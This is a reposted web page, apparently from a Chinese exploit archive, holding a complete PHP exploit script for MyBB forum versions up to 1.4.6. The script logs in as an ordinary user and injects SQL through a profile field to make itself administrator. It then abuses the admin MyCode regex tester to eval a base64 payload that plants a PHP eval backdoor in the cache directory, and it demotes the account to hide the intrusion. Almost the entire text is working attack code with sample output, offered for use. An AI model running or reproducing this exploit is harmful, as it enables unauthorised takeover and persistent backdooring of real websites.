注册
登录
| 关键词： nbsp target mybbuser function array header admindir return user packet |
MyBB <= 1.4.6 Remote Code Execution Exploit - {0day/Vuln} <?PHP /* Someone decided to contact mybb''s staff informing about this vulnerability with the obvious result that this will not work anymore. Fucking moron. I''m releasing a non-finished version of the exploit. No help, PoC and with the necessity of --admindir flag. Going to update it in the next days. For historical reason, i''m leaving the original title, but note that is <= 1.4.6 Example: paradox@d3b14n:~/Files/Exploit-Pocs/My_Exploit/Remote/Mybb$ php myBBtomilw0rm.php -u anybody -p qwerty -t http://localhost/web/mybb/Upload/ --admindir /admin/ [.] Initialing. [+] Logged in. [+] my_post_key variable found. [+] Turned On mybb''s invisible mode. [+] Sql code injected. You''re now admin. [+] Admindir found (or --admindir is used): /admin/. [+] Admin sid Found: 824e26b4221673a0f213c37f87b9ccd7 [+] Site correctly backdoored. [+] Sql code injected. You''re now user. [+] Backdoor URI: http://localhost/web/mybb/Upload//cache/themes/themes.php All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it. Have a nice day :P For the curious people: http://mybboard.it/forum/thread-3623.html */ /* Mybb <= 1.4.4 Remote Code Execution through Sql Injection Exploit Discovered: About 4 days before the exploit was coded. Coded: 03-03-2009 Author: The:Paradox Release: Not yet. No php.ini setting can stop us ! =O A user (not email confirmed too) is needed. Keep private or your keyboard will blew up. */ $mybb = new maibibi2; class maibibi2 { function __construct () { $this->user = $this->get_argv(''-u''); $this->pass = $this->get_argv(''-p''); $this->target = $this->get_argv(''-t''); $this->admindir = $this->get_argv(''--admindir''); $this->oa2u = $this->get_argv(''--onlyadmin2user''); $this->ip = ''67.167.124.135''; $this->ua = ''Mozilla 5.0''; $this->bckdr = ''/cache/themes/themes.php''; if ($this->get_argv(''--help'') !== False || $this->get_argv(''-h'') !== False) $this->help(); if (!$this->user || !$this->pass) die ("You have to insert User/Password\r\nUse --help or -h for more informations.\r\n"); if (!$this->target) die ("You have to insert Target\r\nUse --help or -h for more informations.\r\n"); $this->http(); $this->init(); } function help () { die ("Under Construction\r\n"); } function get_argv ($what) { global $argv; if (!$n = array_search($what, $argv)) return False; return $argv[$n+1]; } function init () { set_time_limit(0); // about 30 seconds left? Be serious. echo "[.] Initialing.\r\n"; if (!$this->mybbuser = $this->ilovecookies ()) die ("Incorrect credentials.\r\n"); echo "[+] Logged in.\r\n"; if (!$this->mypostkey = $this->getmypostkey()) die ("My_Post_Key Not Found.\r\n"); echo "[+] my_post_key variable found.\r\n"; $this->hidemefromonlinelist(); echo "[+] Turned On mybb''s invisible mode.\r\n"; $this->user2admin(); echo "[+] Sql code injected. You''re now admin.\r\n"; if (!$this->admindir && !$this->admindir = $this->findadmindir()) die ("Unable to find admin Dir.\r\nWhatever it''s possible your user is currently an administrator.\r\nIf you know admin dir path, you may use --admindir\r\n"); echo "[+] Admindir found (or --admindir is used): {$this->admindir}.\r\n"; if (!$this->adminsid = $this->loginadmin()) die ("[-] Unable to login as admin.\r\nWhatever it''s possible your user is currently an administrator.\r\n"); echo "[+] Admin sid Found: {$this->adminsid}\r\n"; #$this->writabledirs(); $this->rce (); if (!$this->checkrce ()) die ("Unable to Execute PHP Code.\r\nWhatever it''s possible your user is currently an administrator.\r\n"); echo "[+] Site correctly backdoored.\r\n"; $this->admin2user(); echo "[+] Sql code injected. You''re now user.\r\n"; echo "[+] Backdoor URI: {$this->target}{$this->bckdr}\r\n"; echo "All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.\r\nHave a nice day :P\r\n\r\n"; } function ilovecookies () { $this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua); $this->postdata = array (''username'' => $this->user, ''password'' => $this->pass, ''submit'' => ''Login'', ''action'' => ''do_login''); $rsp = $this->post ("{$this->target}/member.php"); if (!preg_match_all (''~mybbuser=(.+?);~'',$rsp,$res)) return False; return $res[1][0]; } function getmypostkey () { $this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/member.php", ''Cookie'' => "mybbuser={$this->mybbuser};"); $rsp = $this->get ("{$this->target}/usercp.php?action=profile"); if (!preg_match_all (''~name="my_post_key" value="(.+?)" />~'',$rsp,$res)) return False; return $res[1][0]; } function hidemefromonlinelist() { $this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/usercp.php?action=profile", ''Cookie'' => "mybbuser={$this->mybbuser};"); $this->postdata = array (''my_post_key'' => $this->mypostkey, ''invisible'' => ''1'', ''action'' => ''do_options'', ''regsubmit'' => ''Update+Options''); $rsp = $this->post ("{$this->target}/member.php"); } function user2admin () { $this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/usercp.php?action=profile", ''Cookie'' => "mybbuser={$this->mybbuser};"); $this->postdata = array (''my_post_key'' => $this->mypostkey, ''invisible'' => ''1'', ''bday1'' => '''', ''bday2'' => '''', ''bday3'' => '''', ''website'' => ''http%3A%2F%2F'', ''profile_fields%5Bfid3%5D'' => ''Undisclosed'', ''profile_fields%5Bfid2%5D'' => ''Undisclosed'', ''profile_fields%5Bfid1%5D'' => ''Undisclosed'', ''usertitle'' => '''', ''icq'' => '''', ''aim'' => '''', ''msn'' => '''', ''yahoo'' => '''', ''away'' => ''0'', ''awayreason'' => '''', ''awayday'' => '''', ''awaymonth'' => '''', ''awayyear'' => '''', ''birthdayprivacy'' => "all'', usergroup=4, email=''[email protected]'',regip=''79.140.81.83'', longregip=''1334595923'', lastip='''', longlastip=''", ''action'' => ''do_profile'', ''regsubmit'' => ''1''); $rsp = $this->post ("{$this->target}/usercp.php"); } function findadmindir () { $this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/usercp.php?action=profile", ''Cookie'' => "mybbuser={$this->mybbuser};"); $rsp = $this->get("{$this->target}/index.php"); if (!preg_match_all ("~<!-- start: header_welcomeblock_member_admin --> — <a href=\"{$this->target}(.+?)/index.php\">~",$rsp,$res)) return False; return $res[1][0]; } function loginadmin () { $this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/usercp.php?action=profile", ''Cookie'' => "mybbuser={$this->mybbuser};"); $this->postdata = array (''username'' => $this->user, ''password'' => $this->pass, ''do'' => ''login''); $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php"); if (!preg_match_all (''~adminsid=(.+?);~'',$rsp,$res)) return False; return $res[1][0]; } function writabledirs () { $this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/{$this->admindir}/index.php?", ''Cookie'' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};"); $this->get ("{$this->target}/{$this->admindir}/index.php?module=tools") ; } function rceOld () { //edits inc/functions.php (original one) $this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''X-Requested-With'' => ''XMLHttpRequest'', ''Referer'' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", ''Cookie'' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};"); $this->postdata = array (''my_post_key'' => $this->mypostkey, ''o_o'' => ''phpinfo();'', ''regex'' => ''(.*%3F)#e%00'', ''replacement'' => ''die(eval(stripslashes($_REQUEST[\''o_o\''])));'', ''test_value'' => ''XoD''); $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode"); } function rce () { $this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''X-Requested-With'' => ''XMLHttpRequest'', ''Referer'' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", ''Cookie'' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};"); $this->postdata = array (''my_post_key'' => $this->mypostkey, ''o_o'' => ''JGZwID0gZm9wZW4oJF9SRVFVRVNUWydmaWxlJ10sICdhJyk7DQpmd3JpdGUoJGZwLCAnPD9QSFAgaWYgKGlzc2V0KCRfUkVRVUVTVFt4XSkpIGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFt4XSkpOyA/PicpOw0KZmNsb3NlKCRmcCk7'', ''regex'' => ''(.*%3F)#e%00'', ''replacement'' => ''die(eval(base64_decode($_REQUEST[\''o_o\''])));'', ''test_value'' => ''XoD'', ''file'' => "../{$this->bckdr}"); $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode"); } function admin2user () { $this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/usercp.php?action=profile", ''Cookie'' => "mybbuser={$this->mybbuser};"); $this->postdata = array (''my_post_key'' => $this->mypostkey, ''invisible'' => ''1'', ''bday1'' => '''', ''bday2'' => '''', ''bday3'' => '''', ''website'' => ''http%3A%2F%2F'', ''profile_fields%5Bfid3%5D'' => ''Undisclosed'', ''profile_fields%5Bfid2%5D'' => ''Undisclosed'', ''profile_fields%5Bfid1%5D'' => ''Undisclosed'', ''usertitle'' => '''', ''icq'' => '''', ''aim'' => '''', ''msn'' => '''', ''yahoo'' => '''', ''away'' => ''0'', ''awayreason'' => '''', ''awayday'' => '''', ''awaymonth'' => '''', ''awayyear'' => '''', ''birthdayprivacy'' => "all'', usergroup=2, email=''[email protected]'',regip=''79.140.81.83'', longregip=''1334595923'', lastip='''', longlastip=''", ''action'' => ''do_profile'', ''regsubmit'' => ''1''); $rsp = $this->post ("{$this->target}/usercp.php"); } function checkrce_old () { $this->header = array (''client-ip'' => $this->ip ,''Cookie'' => ''x=print \''.:31337:.\''%3B;''); $rsp = $this->get ("{$this->target}/{$this->admindir}/inc/functions.php?"); if (!strstr($rsp,''.:31337:.'')) return False; else return True; } function checkrce () { $this->header = array (''client-ip'' => $this->ip ,''Cookie'' => ''x=print \''.:31337:.\''%3B;''); $rsp = $this->get ("{$this->target}/{$this->bckdr}"); if (!strstr($rsp,''.:31337:.'')) return False; else return True; } function http ($port = 80, $header = array(), $post = array(), $timeout = 30) { $this->port = $port; $this->timeout = $timeout; $this->header = $header; $this->postdata = $post; } function get ($url) { $this->url = parse_url($url); $this->packet = array(); $this->packet[] = "GET {$this->url[''path'']}?{$this->url[''query'']}{$this->url[''fragment'']} HTTP/1.1"; $this->packet[] = "Host: {$this->url[''host'']}"; foreach ($this->header as $header => $value) { $this->packet[] = "$header: $value"; } $this->packet[] = "\r\n\r\n"; $this->packet = implode ("\r\n",$this->packet); return $this->conn(); } function post ($url) { $this->url = parse_url($url); $this->packet = array(); $this->postcontent = ''''; $this->packet[] = "POST {$this->url[''path'']}?{$this->url[''query'']}{$this->url[''fragment'']} HTTP/1.1"; $this->packet[] = "Host: {$this->url[''host'']}"; foreach ($this->header as $header => $value) { $this->packet[] = "$header: $value"; } foreach ($this->postdata as $post => $value) { if ($this->postcontent != '''') $this->postcontent .= ''&''; $this->postcontent .= "$post=$value"; } $this->packet[] = ''Content-Type: application/x-www-form-urlencoded''; $this->packet[] = "Content-Length: ".strlen($this->postcontent)."\r\n"; $this->packet[] = $this->postcontent; $this->packet = implode ("\r\n",$this->packet); return $this->conn(); } function conn() { if (!isset($this->url[''port''])) $this->url[''port''] = $this->port; $sk = fsockopen ($this->url[''host''], $this->url[''port''], $eno, $estr, $this->timeout); if (!is_resource($sk)) return "[-] Fsockopen Failed! Error: ".$estr." [".$eno."]" ; else { fputs($sk, $this->packet); $rsp = ""; while (!feof($sk)) { $rsp .= fgets ($sk, 1024); } } fclose($sk); return $rsp; } } ?> |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
